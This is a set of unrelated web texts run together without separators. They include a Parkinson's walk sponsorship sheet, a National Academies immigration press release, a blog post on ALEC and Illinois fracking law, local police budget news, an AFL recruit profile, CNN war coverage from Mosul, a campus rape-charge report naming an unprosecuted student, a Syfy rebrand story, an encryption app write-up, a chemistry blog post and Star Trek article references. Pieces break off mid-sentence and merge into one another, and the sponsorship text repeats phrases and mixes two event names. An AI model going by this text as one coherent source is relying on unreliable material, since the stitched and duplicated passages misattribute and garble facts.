(1-800-4PD-INFO) and the life-saving Aware in Care hospital kits. Your participation in Moving Day® also provides communities across the country with health and wellness programs, support and other critically important services in their area. For more information on the National Parkinson Foundation, visit www.parkinson.org. Moving Day® Boca Raton Event Details Because studies indicate that physical activity plays an important role in managing the symptoms of PD, each event features a unique Movement Pavilion with activities geared toward and beneficial for people with Parkinson’s. The aim is to encourage people to stay active and move for better health. 1,500+ participants are expected for the Moving Day® event. Participants include PD patients, families, friends, healthcare professionals, corporate leaders and teams who will join together to raise funds to support patient care and research initiatives to beat Parkinson’s. www.movingdaybocaraton.org Sponsorship Opportunities Moving Day® Sponsorships provide companies with a high-profile commitment to fighting Parkinson’s disease (PD) and establish brand loyalty and an opportunity to engage employees and partners in focused charitable giving. Additionally, Moving Day® provides an opportunity for companies to promote their brand, products and services directly to people with Parkinson’s and their champions. Presenting Sponsor: $25,000 Marketing and Recognition Benefits: Event referred to as “Moving Day ® presented by…” on event website and marketing collateral presented by…” on event website and marketing collateral Opportunity to distribute branded materials at Moving Day ®, along the walk route and at the pre-walk Kick-off event , along the walk route and at the pre-walk Kick-off event (2) 10’x10’ tents (provided by NPF) at Moving Day ® Opportunity to host a VIP networking tent at Moving Day ® DFW, including catered breakfast DFW, including catered breakfast Invitation to attend and podium time for a company representative at Moving Day ®, the pre-walk Kick-off event and any post-walk events , the pre-walk Kick-off event and any post-walk events Corporate mention in all press releases and media opportunities Social media recognition (via National and local Facebook pages) Premium Logo Placement on: Moving Day ® event homepage and Local Sponsors page: www.movingdaybocaraton.org event homepage and Local Sponsors page: www.movingdaybocaraton.org All printed Moving Day ® marketing collateral marketing collateral Moving Day ® Local Sponsors banner Local Sponsors banner Moving Day ® Start/Finish Line banner Start/Finish Line banner Moving Day ® participant T-shirts participant T-shirts Moving Day ® walk route signage (up to 4 customizable signs) walk route signage (up to 4 customizable signs) “Thank you for registering” emails to all registrants Platinum Sponsor: $10,000 Marketing and Recognition Benefits: Invitation to attend the pre-walk Kick-off event and any post-walk events Opportunity to distribute branded materials at Moving Day ® and at the pre-walk Kick-off event and at the pre-walk Kick-off event (1) 10’x10’ tent (provided by NPF) at Moving Day ® Podium time for a company representative at Moving Day ® Social media recognition (via local Facebook page) Logo Placement on: Moving Day ® Local Sponsors page: www.movingdaybocaraton.org Local Sponsors page: www.movingdaybocaraton.org All printed Moving Day ® DFW marketing collateral DFW marketing collateral Moving Day ® DFW Local Sponsors banner DFW Local Sponsors banner Moving Day ® DFW participant T-shirts DFW participant T-shirts Walk route signage (up to 2 customizable signs) Gold Sponsor: $7,500 Marketing and Recognition Benefits: Invitation to attend the pre-walk Kick-off event Opportunity to distribute branded materials at Moving Day ® (1) 10’x10’ tent (provided by NPF) at Moving Day ® Social media recognition (via local Facebook page) Logo Placement on: Moving Day ® DFW Local Sponsors page: www.movingdaybocaraton.org DFW Local Sponsors page: www.movingdaybocaraton.org All printed Moving Day ® marketing collateral marketing collateral Moving Day ® Local Sponsors banner Local Sponsors banner Moving Day ® participant T-shirts participant T-shirts Moving Day® walk route signage (1 customizable sign) Silver Sponsor: $5,000 Marketing and Recognition Benefits: Opportunity to distribute branded materials at Moving Day ® (1) 10’x10’ tent (provided by NPF) at Moving Day ® Social media recognition (via local Facebook page) Logo Placement on: Moving Day ® Local Sponsors page: www.movingdaybocaraton.org Local Sponsors page: www.movingdaybocaraton.org All printed Moving Day ® marketing collateral marketing collateral Moving Day ® Local Sponsors banner Local Sponsors banner Moving Day® participant T-shirts Bronze Sponsor: $2,500 Marketing and Recognition Benefits: Opportunity to distribute branded materials at Moving Day ® Table and in the Resource Pavilion tent at Moving Day ® Logo Placement on: Moving Day ® Local Sponsors page: www.movingdaybocaraton.org Local Sponsors page: www.movingdaybocaraton.org Moving Day® Local Sponsors banner Parkinson Friendly Community Partner: $1,000 Company name on display promoting your business as a Parkinson friendly business or service provider Your business or service name will be placed at our 4
says a new report from the National Academies of Sciences, Engineering, and Medicine. At the same time, several factors impede immigrants’ integration into society, such as their legal status, racial disparities in socio-economic outcomes, and low naturalization rates. “Integration is a twofold process that depends on the participation of immigrants and their descendants in major social institutions such as schools and the labor market, as well as their social acceptance by other Americans,” said Mary Waters, M.E. Zukerman Professor of Sociology at Harvard University and chair of the committee that conducted the study and wrote the report. “The U.S. has a long history of accepting people from across the globe, and successful integration of immigrants and their children contributes to our economic vitality and a vibrant, ever-changing culture.” There are 41 million immigrants and 37.1 million U.S.-born children of immigrants in the United States today. Together, the first and second generations account for one-quarter of the U.S. population. In comparison with native-born Americans, the report says, immigrants are less likely to die from cardiovascular disease and all cancers, and they experience fewer chronic health conditions, have lower infant mortality and obesity rates, and have a longer life expectancy. However, over time and generations, these advantages decline as their health status converges with that of the native-born population. Other measures of individual and community well-being show the same pattern, the committee found. Neighborhoods with greater concentrations of immigrants have much lower rates of crime and violence than comparable nonimmigrant neighborhoods. Foreign-born men age 18-39 are incarcerated at one-fourth the rate of native-born American men of the same age. However, in the second and third generations, crime rates increase and resemble that of the general population of native-born Americans. Similarly, immigrant divorce rates and out-of-wedlock birth rates start off much lower than native-born Americans, but over time and generations, they rise toward those for native-born families. This indicates that immigrant and second-generation children across all major ethnic and racial groups are more likely to live in families with two parents than are third-generation children. Because single-parent families are more likely to be impoverished, this is a disadvantage going forward, the report says. The committee also identified several measurable outcomes for which immigrants’ well-being improves as they become better-integrated in U.S. society: Education. Despite large differences in starting points among first-generation immigrant groups, their children meet or exceed the schooling level of typical third-generation and higher native-born Americans. More than one-quarter of the foreign-born have a college education or more and their children do exceptionally well in school. Yet some immigrant groups, such as Mexicans and Central Americans, have an average education of less than 10 years, and although their children attain an average of over 12 years of education, the second generation does not reach parity with the general native-born population. Language. More than 90 percent of Americans polled – whether native or foreign-born – say it is very or fairly important for those who live in the U.S. to be able to speak English. Available evidence indicates that today’s immigrants are learning English at the same rate or faster than earlier waves of immigrants. However, the U.S. education system is currently not equipped to handle the nearly 5 million English-language learners in the K-12 system – 9 percent of all students – and this may stymie the integration prospects of many immigrants. Employment and earnings. Among first-generation immigrants, the male employment rate for all educational levels is 86 percent; this is higher than the general population of native-born Americans. The second-generation employment rate is slightly lower at 83 percent. Among women, the pattern is reversed with a 61 percent employment rate for immigrants, which is lower than the 72 percent for the native born. Immigrant men with the lowest level of education are more likely to be employed than comparable native-born men, indicating that immigrants appear to be filling low-skilled jobs that native-born Americans are not available or willing to take. Foreign-born workers’ earnings improve relative to native-born earnings the longer they live in the United States, though earnings assimilation is considerably slower for Hispanic (predominantly Mexican) immigrants than for others. Occupations. First- and second-generation immigrants have robust representation across the occupational spectrum. Immigrant groups who are concentrated in low-status occupations in the first generation improve their occupational position substantially in the second generation, although they do not reach parity with third- and later-generation Americans. Second-generation Mexicans and Central Americans make a large leap, with 22 percent of second-generation Mexican men and 31 percent of second-generation Central American men in professional or managerial positions. The increase for second-generation women is even larger. Poverty. Immigrants are more likely to be poor than the native-born, even though their labor force participation rates are higher and, on average, they work longer hours. The poverty rate for the foreign-born was 18.4 percent in 2013, compared with 13.8 percent for the native-born. Among adults, the poverty rate overall declines over generations, from over 18 percent in the first generation to 13.6 percent in the second generation and 11.5 percent in the third. Residential integration. Over time, most immigrants and their descendants gradually become less segregated from native-born whites and more dispersed across regions, cities, and neighborhoods. Recently arrived immigrants often choose to live in areas with other immigrants and thus have higher levels of residential segregation from native-born whites than immigrants who have been in the country for 10 to 20 years. Race also plays an independent role: Asians are the least segregated from native-born whites in metropolitan areas, followed by Hispanics, and then black immigrants, who are the most segregated. Undocumented immigrants are also more spatially segregated than other immigrants. It is a political, not scientific, question of whether the U.S. should try to prevent the integration of undocumented immigrants or provide a path to legalization, and thus not within the panel’s purview. However, the committee identified three barriers to immigrant integration that are of particular concern. First is the role of legal status in slowing or blocking the integration of not just the estimated 11.3 million undocumented but also their citizen children. A range of laws regarding undocumented immigrants at local, state, and federal levels often contradict each other, creating variation in integration trajectories across the country. For example, some states and localities provide in-state college tuition to public universities for undocumented immigrants or provide driver’s licenses, while others prohibit renting housing to this class of immigrant. Second, patterns of immigrant integration are shaped by race, and there is ongoing racial stratification in socio-economic outcomes for immigrants and their children. Black immigrants and their children are integrating with non-Hispanic whites at the slowest rate, despite black immigrants’ relatively high educational attainment and employment rates. Last, the low percentage of immigrants who naturalize – only 50 percent – compared with other immigrant-receiving countries has negative implications for political and civic integration. The report includes several recommendations for data collection, including the addition of a question on the birthplace of parents in the American Community Survey and the addition of a question on legal status at entry or at present to the Current Population Survey. It also recommends that any future legislation to legalize the status of undocumented immigrants include a survey of applicants and follow-up to understand the effects of legalization and that administrative data held by U.S. Citizenship and Immigration Services on visa type be linked to census and other government data as other countries have done. Such data should be made available to researchers in secure data enclaves. The study was sponsored by the Carnegie Corporation of New York, National Science Foundation, Russell Sage Foundation, and U.S. Citizenship and Immigration Services of the U.S. Department of Homeland Security, with additional funding from the National Academy of Sciences’ Kellogg Fund. The National Academies of Sciences, Engineering, and Medicine are private, nonprofit institutions that provide independent, objective analysis and advice to the nation to solve complex problems and inform public policy decisions related to science, technology, and medicine. The Academies operate under an 1863 congressional charter to the National Academy of Sciences, signed by President Lincoln. For more information, visit http://national-academies.org. A committee roster follows. Dana Korsen, Media Officer Chelsea Dickson, Media Associate Office of News and Public Information 202-334-2138; e-mail news@nas.edu national-academies.org/newsroom Twitter: @NASciences ____________________________________________________________________________________ Pre-publication copies of The Integration of Immigrants Into American Society are available from the National Academies Press on the Internet at www.nap.edu or by calling 202-334-3313 or 1-800-624-6242. Reporters may obtain a copy from the Office of News and Public Information (contacts listed above). # # # THE NATIONAL ACADEMIES OF SCIENCES, ENGINEERING, AND MEDICINE Division of Behavioral and Social Sciences and Education Committee on National Statistics Committee on Integration of Immigrants Into American Society Mary C. Waters, M.A., Ph.D.* (chair) M.E. Zukerman Professor of Sociology Department of Sociology Harvard University Cambridge, Mass. Richard Alba, Ph.D. Distinguished Professor of Sociology Graduate Center City University of New York New York City Frank D. Bean, Ph.D. Distinguished Professor of Sociology, and Director Center for Research on Immigration, Population, and Public Policy University of California Irvine Irene Bloemraad, Ph.D. Professor of Sociology, and Scholar, Canadian Institute for Advanced Research University of California Berkeley Michael Fix, J.D. President Migration Policy Institute Washington, D.C. Nancy Foner, Ph.D. Distinguished Professor of Sociology Hunter College and the Graduate Center City University of New York New York City Charles Hirschman, Ph.D. Boeing International Professor Department of Sociology University of Washington Seattle Daniel T. Lichter, Ph.D. Ferris Family Professor, and Director, Cornell Population Center Department of Policy Analysis and Management Cornell University Ithaca, N.Y. Douglas S. Massey M.A., Ph.D.* Henry G. Bryant Professor of Sociology and Public Affairs Princeton University Princeton, N.J. Cecilia Menjivar, Ph.D. Distinguished Professor of Sociology University of Kansas Lawrence S. Karthick Ramakrishnan, Ph.D. Professor of Public Policy and Political Science, and Associate Dean, School of Public Policy University of California Riverside Audrey Singer, Ph.D. Senior Fellow Brookings Institution Washington, D.C. David Takeo Takeuchi, Ph.D. Professor and Associate Dean of Research School of Social Work Boston College Boston Kevin J. Thomas, Ph.D. Associate Professor Department of Criminology and Sociology Pennsylvania State University University Park Stephen J. Trejo, Ph.D. Professor of Economics Department of Economics University of Texas Austin Richard A. Wright, Ph.D. Orvil E. Dryfoos Chair of Public Affairs and Professor Department of Geography Dartmouth College Hanover, N.H. Hirokazu Yoshikawa, Ph.D. Courtney Sale Ross University Professor of Globalization and Education Steinhardt School New York University New York City STAFF Marisa G. Pineau Study Director _________________ *Member, National Academy of SciencesIllinois is the next state on the American Legislative Exchange Council (ALEC)‘s target list for putting the oil industry’s interests ahead of the public interest. 98 percent funded by multinational corporations, ALEC is described by its critics as a “corporate bill mill” and a lobbyist-legislator dating service. It brings together corporate lobbyists and right wing politicians to vote up or down on “model bills” written by lobbyists in service to their corporate clientele behind closed doors at its annual meetings. These “models” snake their way into statehouses nationwide as proposed legislation and quite often become the law of the land. Illinois, nicknamed the “Land of Lincoln,” has transformed into the “Land of ALEC” when it comes to a hydraulic fracturing (“fracking”) regulation bill – HB 2615, the Hydraulic Fracturing Regulation Act – currently under consideration by its House of Representatives. “Fracking” is the toxic horizontal drilling process via which unconventional gas and oil is obtained from shale rock basins across the country and the world. HB 2615 – proposed on Feb. 21 with 26 co-sponsors – has an ALEC model bill roped within this lengthy piece of legislation: the loophole-ridden Disclosure of Hydraulic Fracturing Fluid Composition Act. As covered here on DeSmogBlog, this model bill has been proposed and passed in numerous statehouses to date. If the bill passes, Illinois’ portion of the New Albany Shale basin will be opened up for unfettered fracking, costumed by its industry proponents as the “most comprehensive fracking legislation in the nation.” “If At First You Don’t Succeed, Dust Yourself Off and Try Again” This isn’t ALEC’s first fracking-related crack at getting a model bill passed in Illinois. In 2012, the Disclosure of Hydraulic Fracturing Fluid Composition Act – introduced as SB 3280 – passed unanimously by the Illinois Senate but never passed the House. SB 3280 isn’t merely an ALEC model, but is a Council of State Government’s (CSG) model, too, as covered here on DeSmog. The “disclosure” standards’ origins lay in the Obama Department of Energy’s (DOE) industry-stacked fracking subcomittee, formed in May 2011 ”to study the practice of hydraulic fracturing (fracking), and determine if there are ways, or even a necessity, to make it safer for the environment and public health.” As exposed by The New York Times in April 2012, these ”disclosure” standards were originally written by ExxonMobil, first passed in Texas in June 2011, and now serve as both an ALEC and CSG model bill for the states. I say “disclosure” – as opposed to disclosure – because the bill includes loopholes for “trade secrets,” ala the “Halliburton Loophole” written into the industry-friendly federal Energy Policy Act of 2005. Section 77 of HB 2615, titled “Chemical disclosure; trade secret protection,” also includes the same trade secrets exemption from the ALEC/CSG ExxonMobil-written model bill. Ever persistent, ALEC has taken the late pop diva Aaliyah’s words to heart with regards to chemical fluids “disclosure,” at first not succeeding and dusting itself off and trying again. [cont’d.]The nearly two-year state budget impasse in Springfield is being felt by police departments across the state. About 500 law enforcement professionals from cities, villages and sheriff offices gathered this week at the Crowne Plaza Hotel, 3000 S. Dirksen Parkway, for the 14th Annual Illinois Law Enforcement Alarm System Conference. The three-day conference that ended Tuesday included training seminars and was also an opportunity for the officials to network and find out what other departments have been doing. Timothy Henson, chief of the Dwight Police Department in Livingston County, said his department is holding off on some purchases because of delays in receiving sales tax revenue. “Some of our squad cars have close to 200,000 miles on them,” Henson said. “When you’re driving them in an emergency capacity, for officer safety and citizen safety, you don’t like to have that many miles on squads.” Springfield Police Chief Kenny Winslow said his department hasn’t run into any major issues thus far, but they, too, might have to hold off on the purchase of new squad cars. “There is some training we might have to push back a little bit, and there is some civilian hiring we may have to hold off on a little bit,” Winslow added. Ed Wojcicki, executive director of the Illinois Association of Chiefs of Police, wasn’t at the ILEAS event, but said he’s heard from chiefs across the state who are concerned about the budget situation. “Police departments are one of the bigger budget items for a lot of the municipalities. The municipalities are hurting. They have to look for places to trim back, and one of the places they look is the police department,” Wojcicki said. Like Winslow, Wojcicki mentioned the possible impact on training. “(The chiefs) are concerned about not having enough money to do all of the training that is required. In the last few years, a lot more training has been required of police. They don’t object to that, but when there’s a reduction in funds, perhaps there could be less money available for the training,” Wojcicki said. The Illinois Law Enforcement Alarm System includes 900 local agencies across the state. It was created in the wake of the 9/11 terrorist attacks to help with mutual aid, emergency response and combining resources for public safety, terrorism prevention and response. Stephenson County Sheriff David Snyders, president of ILEAS, said the system streamlines the process of requesting help from neighboring departments. “In the old days, if I needed help, I would have to call my neighboring counties and cities. It could involve dozens of phone calls. With the ILEAS method, you make one phone call,” Snyders said. And it's not just smaller departments that benefit. Snyders said Chicago police reached out to ILEAS for help after the Cubs won the World Series and they needed additional police officers to handle the victory parade. “Chicago determined they needed many more officers to help control the crowd. The crowd was more than 5 million people. They made one call, and in under 17 hours, they had the people they needed in place in Chicago. I actually sent two deputies myself,” Snyders said. –Contact John Reynolds: john.reynolds@sj-r.com, 788-1524, twitter.com/JohnReynoldsSJR.THE Essendon paperwork might read: ‘Patrick Ryder out; Jonathan Giles in’, but the Bombers’ big recruit isn’t getting caught up in trying to fill shoes. Giles, in his first week of training in red and black following an off-season switch from Greater Western Sydney, is all about treading his own path. “I’m a completely different player to him. It might seem like it’s the perfect fit that it’s happened, but I’ve come to this club and I’ve got to work hard to make sure I’m ready for next season,” Giles told the Herald Sun. Inevitable Ryder comparisons, ASADA, moving to a city he doesn’t know outside of the MCG and Etihad — nothing seems to phase this uber-relaxed 26-year old from South Australia’s serene Barossa Valley. He was the first GWS player to reach 50 games, but he didn’t play after Round 10 last season and talked candidly about being squeezed out by Shane Mumford and a clutch of young key forwards. “We (Mumford and Giles) played together against Richmond and got our pants pulled down. I got dropped and couldn’t get back in, which was frustrating because I was working really hard and I had some consistent form in the NEAFL,” Giles said. “I sat down with Leon (Cameron) and we had a good, open discussion. I told him that I didn’t see myself being in the team so maybe it’s best if we part ways. We ended on good terms.” media_camera Jonathan Giles at Essendon’s Tullamarine base. Picture: Nicole Garmston Adelaide and Essendon came knocking, causing many to predict the go-home factor would see him join the Crows. But a week of training with the Bombers in 2011, a chat with James Hird and the opportunities that come from playing for a competition powerhouse swayed him south. “Weighing everything up I wanted to come to Essendon. Some people were surprised,” he said. “It would have been nice to go back home, but that wasn’t my priority at this stage. I want to play the best footy I can and I believe that will come here at Essendon.” Giles said the prospect of playing in September was a “huge part” of his decision. “I was talking to ‘Chappy’ (Paul Chapman) yesterday and he said the premierships at Geelong, apart from having his kid, were the greatest moments of his life,” he said. “Essendon have been around the mark in terms of finals and hopefully we can take that next step next year and be more successful.” When the conversation moved to the ongoing Essendon supplements saga, Giles didn’t hesitate. “It was never a case of not wanting to come here because of the ASADA stuff,” he said. “I had a good chat to ‘Hirdy’ (James Hird) about this club and the direction that he’s going to take this club and I was really impressed by how he spoke and where he thinks this club can be.” Giles looks at Tom Bellchambers and believes the pair can form a devastating partnership, but Essendon assistant coach Mark Harvey stressed Giles had no act to follow. “They’ll be no pressure from our end about him replacing Ryder’s output. Not at all,” Harvey said. “It’s about him establishing himself in the ruck and having an aura about him where the midfield really feed off what he does.” But for now, Giles just wants to get to know Melbourne and — like all big blokes — where the good food is located. “I got the car yesterday so I’m looking forward to driving around and getting my bearings,” he said.Irbil, Iraq (CNN) Iraq's federal police forces and army troops attacked the ISIS-held town of Hammam al-Alil, south of Mosul, on Saturday as Iraqi-led coalition forces seek to drive back ISIS militants from their last major Iraqi stronghold. The Iraqi air force provided air cover for the assault Saturday morning, according to Iraq's Joint Military Command. Iraqi troops are advancing from three fronts toward Hammam-al-Alil, about 30 kilometers (18.6 miles) south of Mosul, and have reached the College of Agriculture at its edge, a statement said. On Friday, the UN refugee agency said it had received reports ISIS has been instructing residents of Hammam al-Alil to hand over boys age 9 and older since the Iraqi-led offensive to recapture the country's second-largest city began October 17. The boys are apparently being conscripted to fight on behalf of the terror group, Ravina Shamdasani, spokeswoman for the refugee agency, told a press briefing in Geneva, Switzerland. The long-awaited assault on Hammam al-Alil, the last significant town before Mosul on the Tigris River, will add to the pressure on ISIS fighters. During a stop on the front lines near Mosul, Iraqi Prime Minister Haider al-Abadi issued a warning to the terror group. "My message to ISIS: If they want to save their lives, they should lay down their weapons now," Abadi told reporters, according to state-run Al Iraqiya TV. "We will punish the criminals among them, and we will hold them to account." Clashes in eastern Mosul Iraqi military units were trying to reinforce their presence Saturday in eastern Mosul after fierce resistance stalled their progress a day earlier. Witnesses reported renewed clashes in several districts Saturday as convoys of Iraqi military vehicles moved in. JUST WATCHED Rape survivor describes living in ISIS captivity Replay More Videos... MUST WATCH Rape survivor describes living in ISIS captivity 02:07 They said Iraqi troops had taken control of the neighborhoods of At Tahrir in the northeast and Kirkukli and Zuhra in the east. Other residents said that ISIS remained in control of the districts of Qudes and Karama, farther south. ISIS claimed to have carried out a suicide car bombing early Saturday in the eastern neighborhood of Aden, saying it had killed 15 counterterrorism troops and destroyed six military vehicles. CNN could not confirm the claim, but witnesses report many civilians leaving the area, heading east away from the city. An Iraqi security official in Gogjali, on the eastern fringe of Mosul, said two suicide bombers on motorcycles drove toward Iraqi troops Saturday. One was shot and killed; the other escaped. Hawija civilians killed Meanwhile, three roadside bombs in two separate locations killed 11 civilians and injured 18 more Saturday as they fled the town of Hawija on foot, security officials in Kirkuk told CNN. JUST WATCHED ISIS leader al-Baghdadi releases rare audio message Replay More Videos... MUST WATCH ISIS leader al-Baghdadi releases rare audio message 02:18 Most of the casualties were women and children. Hawija is an ISIS-held town about 55 kilometers (34 miles) southwest of Kirkuk. Thousands of civilians have been forced from their homes as efforts to drive ISIS from Iraq gather pace, with many more expected to follow. The UN refugee agency said 3,000 people had been received on Friday alone at a new camp for displaced families in Hasansham in Irbil governorate. They were among an estimated 8,000 people to have arrived at Khazer and Hasansham camps in the past three days, the agency said. Many have come from the eastern outskirts of Mosul in areas Iraqi forces took back in recent days, it said. "People arrived with nothing or next to nothing, exhausted but relieved to find safety and receive help," said Frederic Cussigh, senior field coordinator for the UN agency, in Hasansham. ISIS strikes back At least 10 local fighters died repelling a coordinated attack by dozens of ISIS militants in the town of Shirqat, Mayor Ali Dodah told CNN on Saturday. Three civilians were also killed, he said. Twenty-five militants died, but security forces are hunting those who remain, he said. The attack began early Friday. Iraqi army Capt. Kameran Ismaeil in Shirqat told CNN that about 13 ISIS fighters were still battling local troops in one neighborhood in the town. Shirqat is about 120 kilometers (75 miles) south of Mosul, well behind the front lines. It's the third town ISIS fighters have attacked in an apparent effort to distract coalition forces from the Mosul campaign and tie up their attention and resources elsewhere. The other surprise assaults were in Kirkuk, about 175 kilometers (109 miles) to Mosul's southeast, and in Rutba, a town in Anbar province southwest of Mosul that Iraqi forces recaptured in May. Turkey hits ISIS in northern Syria Across the border in northern Syria, ISIS has come under attack from Turkish forces. The Turkish military hit 71 ISIS targets in northern Syria in the past 24 hours, Turkey's army said Saturday. Five ISIS militants were killed and one Turkish officer was killed in clashes, the army said. In addition, five members of the Turkey-backed Free Syrian Army were killed and at least 22 others injured. An army statement said that the coalition air force had conducted five airstrikes in northern Syria over the past 24 hours, killing eight ISIS militants. Meanwhile, ISIS claimed responsibility late Friday for a car bombing that killed nine people in Diyarbakir, Turkey, according to a statement circulated online by the ISIS-affiliated Amaq Agency.An Ohio State student was arrested and charged with the rape of a female student Sunday morning in Jones Tower. Devon Prevost, a 19-year-old second-year in communication, was arraigned on rape charges Monday in the Franklin County Municipal Court, according to court documents. The bond is set at $150,000. Court documents showed that on October 27, “no evidence was presented” in the case. As a result, the Grand Jury returned a “No Bill” after the prosecutor reviewed the case and determined that it should not be presented to the Grand Jury, meaning Prevost was not prosecuted on the charges. The incident was reported at 2:27 a.m. Sunday morning and occurred at 1:31 a.m., according to the Ohio State Police online crime log. According to the court affidavit, the female student was “pleading for help” to her roommate on the phone while in Jones with Prevost. The document details the female student’s roommate was following her location with an app. The female student’s roommate called University Police to report the incident, according to the affidavit. When University Police took Prevost into custody, Prevost said “nothing happened,” according to the affidavit. However, when in questioning, the affidavit said he told officers he believed the female was intoxicated while he engaged in oral sex with her on his bed. The female student reported Prevost pressured her to drink more alcoholic beverages throughout the night and took her to his dorm, though she told him she wanted to go to her residence, according to the affidavit. “In addition to the police investigation, the matter has been referred to Student Conduct for appropriate action under the university’s student disciplinary process. Because there is an ongoing investigation, we do not have additional details to share at this time,” a statement from Ohio State read. Update, 4:18 p.m.: this article has been updated to include information regarding the court affidavit, Ohio State’s statement. Updated, 1:15 p.m., June 29, 2018: this article has been updated to include information that Prevost was never prosecuted for the charges.After nineteen years on the air, the SCI FI Channel in the U.S. is changing its name. After nearly 17 years on the air, SCI FI Channel in the United States is changing its name. So what will the new moniker be? What word will help it stand out in the competitive cable market, as a channel that is about more than space ships and time travel? Is it something to do with “Imagination?” Or “Fantasy?” Or “Possibility?” Nope. The channel is rebranding itself as: Syfy Channel. The New York Times reports that the network will roll out its new name in its advertiser upfronts tomorrow, and officially make the switch on July 7. Gone too is the Saturn logo. New is the tagline “Imagine Greater.” The network’s genre-leading Web site, SciFi.com, will also make the switch. The main reason for the change, according to Bonnie Hammer, former head of the network and now president of NBC Universal Cable Entertainment and Universal Cable Productions, and her successor David Howe, is that the name “SCI FI” was too limiting. “If you ask people their default perceptions of Sci Fi, they list space, aliens and the future,” Howe said. “That didn’t capture the full landscape of fantasy entertainment: the paranormal, the supernatural, action and adventure, superheroes” — areas of programming that have becoming increasingly important as the network has found ratings success with shows like Ghost Hunters, ECW: Extreme Championship Wrestling, and Destination Truth. But network chiefs hope that keeping the phonetically altered “Syfy” will also help them keep the fanboys and girls who are looking for traditional science fiction. SCI FI had 95.2 million subscriber households and an estimated ad revenue of $423.9 million in 2008, according to media research company SNL Kagan, the Times said. Science fiction news site SyFy Portal recently rebranded itself as Airlock Alpha, possibly a precursor to the network’s acquisition of the “Syfy” name. The change does allow the network to own the copyright on its own name — which it couldn’t do with a word as generic and widely used as “sci-fi.” “We couldn’t own Sci Fi; it’s a genre,” Hammer said. “But we can own Syfy.” “If I were texting, this is how I would spell it,” Howe said. (Thanks to Mike and Morjana for the tip!) NEXT: Read the network’s press release on Page 2Users who have been following IntoWindows or any other technology website probably aware of the recent launch of Google Drive service and SkyDrive client application. The biggest problem with these cloud based storage services is data security. If you are someone who has stored all crucial data in the cloud and worried about privacy and data security, then you should check out Cloudfogger. Cloudfogger is a free application that lets you easily encrypt files in our SkyDrive, Google Drive and Dropbox. Cloudfogger encrypts your files using AES (Advanced Encryption Standard). One can also share Cloudfogger-protected files with others. You just need to send the automatically generated ID to the person with whom you wish to share the file. Once you install Cloudfogger application on your Windows machine, it will create a new drive in Windows Explorer, usually drive X (if that drive letter is available). This new drive is virtual Cloudfogger drive and all files stored in this drive will automatically be stored as encrypted files on your physical hard drive. Installing and using this application is fairly simple. On the first run, you will be asked to create an account with Cloudfogger. Once done, you can use the software to secure your files. A right-click on any file with give you Fogg (Encrypt), Fogg and Share, Fogg to Copy, Shred and Delete, and Lock Account options. To encrypt a file, right-click on it and click Fogg (Encrypt). All encrypted files (on any drive) can be seen on the virtual Cloudfogger drive (drive X:). You can directly open the file in the Cloudfogger virtual drive and edit it using your favorite application. Download Cloudfogger and encrypt all crucial files in your SkyDrive, Dropbox or Google Drive account to secure them. Please visit this page to know more about the software and how it works. Cloudfogger app is currently available only for Windows and Android operating systems. Download CloudfoggerRemember that I congratulated Matthias Beller and co-workers for selectively reducing amides in the presence of anything else? Only caveat: The amides absolutely needed to be tertiary. Only a week or so after posting (I swear to all holy things I had no idea know Beller was incoming), I attended his lecture, and several people in the audience asked Beller if they were working to address this little detail, i.e. whether there will be a recipe for primary and secondary amides too. He assured us it would soon be fixed, and then actually pulled out a couple of back-up slides demonstrating on-going action in the specific area. I have since had Beller on my radar, because if one can selectively reduce any amide in the presence of anything else, it changes everything. Today I noticed this publication: Tetrahedron Lett. 2011, 52, 4072-4075. (DOI: 10.1016/j.tetlet.2011.05.109) This one is awesome in many ways. Firstly, they use my pet Lewis acid titanium isopropoxide, which has come to the rescue in so many different projects for me before, and secondly they show how primary amides can now be reduced by employing a variation of Beller’s strategy. However, this is a preliminary report, and the functional group tolerance can be questioned (the table is not that exhaustive) – but still… whoa! Now, we are all anxiously waiting for the end game: Beller’s full paper showing the world the ultimate recipe for taking down any amide without harming ketones, esters, nitro groups, esters and other fragilities.It is fair to say that Star Trek comprises a self-contained subgenre within science fiction (SF). Over nearly 50 years, through six distinct television series, and eleven feature length films, the “Star Trek universe” envisioned by Gene Roddenberry has become arguably the world's most elaborate and widely recognized depiction of life in future times (covering roughly the twenty-second through the twenty-ninth centuries). In this article, situations involving infertility occurring in episodes from different Star Trek series are examined and some general conclusions offered concerning the perception of this problem and the variety of responses proposed. “Profiles of Infertility in Southern Nigeria: Women's Voices from AMAKIRI,” “The Irruption of Vulcan Pon Farr as Unleashment of Jung's Shadow,” 1. Ledger, W. L., “ Demographics of Infertility,” Reproductive Biomedicine Online, 18 ( 2009 ), 11 – 14. Google Scholar Crossref 2. Ledger, W. L., “ Demographics of Infertility,” Reproductive Biomedicine Online, 18 ( 2009 ), 11 – 14. Google Scholar Crossref 3. “ The Cage,” dir. by Butler, George, Star Trek The Original Series, February 1965. Google Scholar 4. See Harrison, Taylor and others, eds. Enterprise Zones: Critical Positions on Star Trek ( Boulder, Colorado : Westview Press, 1996 ). Google Scholar 5. Lundeen, Jan and Wagner, Jon, Deep Space and Sacred Time: Star Trek in the American Mythos ( Westport : Praegher, 1998 ), p. 3. Google Scholar 6. Lundeen, Jan and Wagner, Jon, Deep Space and Sacred Time: Star Trek in the American Mythos ( Westport : Praegher, 1998 ), p. 3. Google Scholar 7. Lundeen, Jan and Wagner, Jon, Deep Space and Sacred Time: Star Trek in the American Mythos ( Westport : Praegher, 1998 ). p 42. Google Scholar 8. Lundeen, Jan and Wagner, Jon, Deep Space and Sacred Time: Star Trek in the American Mythos ( Westport : Praegher, 1998 ). p. 42. Google Scholar 9. “ The Mark of Gideon,” dir. by Taylor, Jud, Star Trek The Original Series, January 1969. Google Scholar 10. “ The Apple,” dir. by Pevney, Joseph, Star Trek The Original Series, October 1967. Google Scholar 11. “ Elogium,” dir. by Kolbe, Winrich, Star Trek Voyager, September 1995. Google Scholar 12. Grech, Victor, “ The Irruption of Vulcan Pon Farr as Unleashment of Jung's Shadow,” New York Review of Science Fiction, 25 ( 2012 ), 13 – 15. Google Scholar 13. “ Blood Fever,” dir. by Robinson, Andrew J., Star Trek Voyager, February 1997. Google Scholar 14. “ Body and Soul,” dir. by McNeill, Robert Duncan, Star Trek: Voyager, November 2000. Google Scholar 15. Grech, “ The Irruption.” Google Scholar 16. “ The Dogs of War,” dir. by Brooks, Avery, Star Trek Deep Space 9, May 1999. Google Scholar 17. Brown, Peter, The Body and Society, Men, Women and Sexual Renunciation in Early Christianity ( New York : Columbia University Press, 1988 ). Google Scholar 18. “ The Covenant,” dir by Kretchmer, John, Star Trek 